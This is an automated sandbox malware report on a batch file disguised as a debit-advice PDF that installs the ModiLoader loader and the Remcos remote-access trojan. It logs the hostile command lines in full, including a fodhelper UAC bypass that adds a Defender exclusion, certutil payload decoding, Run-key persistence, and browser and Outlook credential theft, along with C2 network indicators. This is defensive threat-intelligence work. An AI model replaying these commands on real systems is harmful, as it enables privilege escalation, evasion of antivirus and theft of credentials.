Malware Analysis Report

2025-01-02 03:19

Sample ID 240326-mlsl8agb75
Target DEBIT_ADVICE_000610PAY001522024.PDF.tar.gz
SHA256 d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06
Tags
modiloader remcos remotehost collection persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d1a3e9d965809db746d3dbe909753f38e2073737347cc8d5714c78969b352d06

Threat Level: Known bad

The file DEBIT_ADVICE_000610PAY001522024.PDF.tar.gz was found to be: Known bad.

Malicious Activity Summary

modiloader remcos remotehost collection persistence rat trojan

Remcos

ModiLoader, DBatLoader

NirSoft WebBrowserPassView

Nirsoft

NirSoft MailPassView

ModiLoader Second Stage

Executes dropped EXE

Checks computer location settings

Loads dropped DLL

Adds Run key to start application

Accesses Microsoft Outlook accounts

Suspicious use of SetThreadContext

Enumerates physical storage devices

Program crash

Kills process with taskkill

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious behavior: MapViewOfSection

Script User-Agent

Modifies registry class

Modifies registry key

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-26 10:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-26 10:33

Reported

2024-03-26 10:36

Platform

win7-20240221-en

Max time kernel

121s

Max time network

123s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Nirsoft

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\alpha.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1944 set thread context of 1588 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 1944 set thread context of 1696 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 1944 set thread context of 2912 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\colorcpl.exe

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open C:\Windows\system32\reg.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000_CLASSES\ms-settings\shell C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2684 wrote to memory of 2852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 2852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 2852 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2852 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2852 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2852 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2684 wrote to memory of 2380 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2380 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2380 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2380 wrote to memory of 2600 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2380 wrote to memory of 2600 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2380 wrote to memory of 2600 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2684 wrote to memory of 1160 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 1160 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 1160 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1160 wrote to memory of 3004 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1160 wrote to memory of 3004 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 1160 wrote to memory of 3004 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2684 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2608 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2608 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2608 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2608 wrote to memory of 2640 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2640 wrote to memory of 2596 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2640 wrote to memory of 2596 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2640 wrote to memory of 2596 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2596 wrote to memory of 2604 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2596 wrote to memory of 2604 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2596 wrote to memory of 2604 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2684 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2408 wrote to memory of 2432 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2408 wrote to memory of 2432 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2408 wrote to memory of 2432 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2684 wrote to memory of 2532 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2532 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2532 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2532 wrote to memory of 2900 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2532 wrote to memory of 2900 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2532 wrote to memory of 2900 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2684 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2684 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2684 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2684 wrote to memory of 2144 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2684 wrote to memory of 2172 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2172 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2172 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 1188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 1188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 1188 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2652 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2728 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2684 wrote to memory of 2700 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2700 wrote to memory of 2756 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2700 wrote to memory of 2756 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2700 wrote to memory of 2756 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\8274594.exe"

C:\Windows \System32\8274594.exe

"C:\Windows \System32\8274594.exe"

C:\Windows \System32\8274594.exe

"C:\Windows \System32\8274594.exe"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\ewfmsjspxrwmbhlpkisxbtvqecfujn"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\oqkescdilzorlvztbtnqmgqhfixdcyted"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\ykyxt"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 412

Network

Country Destination Domain Proto
US 8.8.8.8:53 1010.filemail.com udp
US 23.237.50.106:443 1010.filemail.com tcp
US 23.237.50.106:443 1010.filemail.com tcp
N/A 127.0.0.1:45671 tcp
N/A 127.0.0.1:55677 tcp
US 192.3.101.8:55677 tcp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp

Files

\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2640-21-0x000000001B610000-0x000000001B8F2000-memory.dmp

memory/2640-22-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

memory/2640-23-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

memory/2640-24-0x00000000028D0000-0x0000000002950000-memory.dmp

memory/2640-25-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

memory/2640-31-0x00000000028D0000-0x0000000002950000-memory.dmp

memory/2640-30-0x00000000028D0000-0x0000000002950000-memory.dmp

C:\Users\Public\alpha.exe

MD5 7fed67bb61c65278c1e816b33b1c0bc0
SHA1 050f1dfcbc49e35cace5b58db7138213c3a5ef7e
SHA256 317ed6aac6714b1923c77f974958b6582def161ce3027756c45c10ecd65c340f
SHA512 de1e569771835d0f2c071210cd2cb9a3a1391ac948dca48fed633d5c67f5715aaa5c0a54db3f6a032eab817d7dbb4348cd479f0bb20a3241f0c81070a3c15316

\Users\Public\alpha.exe

MD5 682ccab11eda68dfa9eef081909588f9
SHA1 e2566547bea129f501906e3ba7820082464aca18
SHA256 0c4fce2c707bd52988367fcef1212836eb0a3f248a19d12165e1b6aab0ca491d
SHA512 fd0f92470338e19cd23fd215243d849b7f9aa941b144432a83601e5922148e35ed29d7c1d3523e1b75f0c7a5b2e985e322f3f5466d571af83e5b4c2b72a8faea

memory/2640-26-0x00000000028D0000-0x0000000002950000-memory.dmp

memory/2640-34-0x000007FEF5B90000-0x000007FEF652D000-memory.dmp

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\Lewxa.txt

MD5 8f6b3132069a25963b93083743e160dd
SHA1 364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
SHA512 af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

C:\Users\Public\Libraries\Lewxa.com

MD5 e143ae2ede2f93f7fda0c05eba1eec11
SHA1 3744715478c0c53a08d362275dde42080963fdab
SHA256 d3fd29f0d0f8cc6b449e912c477ccc2a8710c7b8c622dde7ce808e3b1fb8e170
SHA512 912b6d96d29a3d2bcf2249d076b8eef5c62cb25bc55d846b77fa49b147fb15e9913029b862666f81af5a17d665eac9f6b576842fbc70d90cb4094f42d65a8f8d

C:\Users\Public\Libraries\Lewxa.com

MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

memory/2144-48-0x00000000002B0000-0x00000000002B1000-memory.dmp

memory/2144-54-0x0000000003060000-0x0000000004060000-memory.dmp

memory/2144-56-0x0000000003060000-0x0000000004060000-memory.dmp

memory/2144-59-0x00000000002B0000-0x00000000002B1000-memory.dmp

memory/2144-60-0x0000000000400000-0x0000000000527000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 753df6889fd7410a2e9fe333da83a429
SHA1 3c425f16e8267186061dd48ac1c77c122962456e
SHA256 b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA512 9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

C:\Users\Admin\AppData\Local\Temp\Tar7508.tmp

MD5 dd73cead4b93366cf3465c8cd32e2796
SHA1 74546226dfe9ceb8184651e920d1dbfb432b314e
SHA256 a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512 ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

C:\Windows \System32\8274594.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

memory/1720-123-0x0000000000340000-0x0000000000341000-memory.dmp

memory/1944-140-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-142-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-143-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-144-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-145-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-147-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-150-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-151-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-153-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1588-155-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1588-157-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1588-161-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1696-162-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2912-170-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1696-169-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1588-171-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1696-167-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1588-165-0x0000000000400000-0x0000000000478000-memory.dmp

memory/1696-173-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1944-178-0x0000000000330000-0x0000000001330000-memory.dmp

memory/2912-174-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2912-182-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1588-181-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ewfmsjspxrwmbhlpkisxbtvqecfujn

MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

memory/2912-184-0x0000000000400000-0x0000000000424000-memory.dmp

memory/1944-186-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-187-0x0000000000330000-0x0000000001330000-memory.dmp

memory/1944-189-0x00000000001F0000-0x0000000000209000-memory.dmp

memory/1696-188-0x0000000000400000-0x0000000000462000-memory.dmp

memory/1944-192-0x00000000001F0000-0x0000000000209000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-26 10:33

Reported

2024-03-26 10:36

Platform

win10v2004-20240226-en

Max time kernel

148s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Remcos

rat remcos

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

NirSoft MailPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NirSoft WebBrowserPassView

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Nirsoft

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation C:\Users\Public\xkn.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\3100739.exe N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts C:\Windows\SysWOW64\colorcpl.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Koomxsve = "C:\\Users\\Public\\Koomxsve.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3592 set thread context of 3024 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 3592 set thread context of 4488 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
PID 3592 set thread context of 3200 N/A C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\colorcpl.exe

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
